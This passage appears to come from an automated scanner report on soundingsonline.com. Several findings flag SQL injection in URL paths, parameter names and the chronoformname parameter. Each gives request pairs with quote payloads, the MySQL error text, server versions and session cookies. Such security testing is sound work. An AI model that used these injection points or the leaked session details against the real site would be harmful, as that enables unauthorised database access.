GET /career-opportunities?1''=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:38:45 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:38:44 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
...[SNIP]...
1.152. http://www.soundingsonline.com/columns-blogs [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/columns-blogs
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /columns-blogs?1'=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:36:34 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:36:34 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /columns-blogs?1''=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:36:43 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:36:43 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
...[SNIP]...
1.153. http://www.soundingsonline.com/columns-blogs/bay-tripper [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/columns-blogs/bay-tripper
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /columns-blogs/bay-tripper?1'=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:36:45 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:36:45 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /columns-blogs/bay-tripper?1''=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:36:50 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:36:50 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
...[SNIP]...
1.154. http://www.soundingsonline.com/columns-blogs/books [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/columns-blogs/books
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /columns-blogs/books?1'=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:35:53 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:35:53 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /columns-blogs/books?1''=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:35:54 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:35:54 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
...[SNIP]...
1.155. http://www.soundingsonline.com/columns-blogs/new-england-fishing [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/columns-blogs/new-england-fishing
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /columns-blogs/new-england-fishing?1'=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:37:38 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:37:38 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /columns-blogs/new-england-fishing?1''=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:37:41 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:37:41 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
...[SNIP]...
1.156. http://www.soundingsonline.com/columns-blogs/under-way [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/columns-blogs/under-way
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /columns-blogs/under-way?1'=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:35:41 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:35:41 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /columns-blogs/under-way?1''=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:35:43 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:35:43 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 1, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /component'/chronocontact/ HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:52:52 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:52:52 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /component''/chronocontact/ HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:52:52 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:52:52 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /component/chronocontact'/ HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:52:53 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:52:53 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /component/chronocontact''/ HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:52:54 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:52:54 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
The chronoformname parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the chronoformname parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /component/chronocontact/?chronoformname=PSPage' HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:52:39 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:52:39 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''/component/chronocontact/?chronoformname=PSPage'' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /component/chronocontact/?chronoformname=PSPage'' HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:52:40 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:52:39 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
...[SNIP]...
1.160. http://www.soundingsonline.com/component/chronocontact/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/component/chronocontact/
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
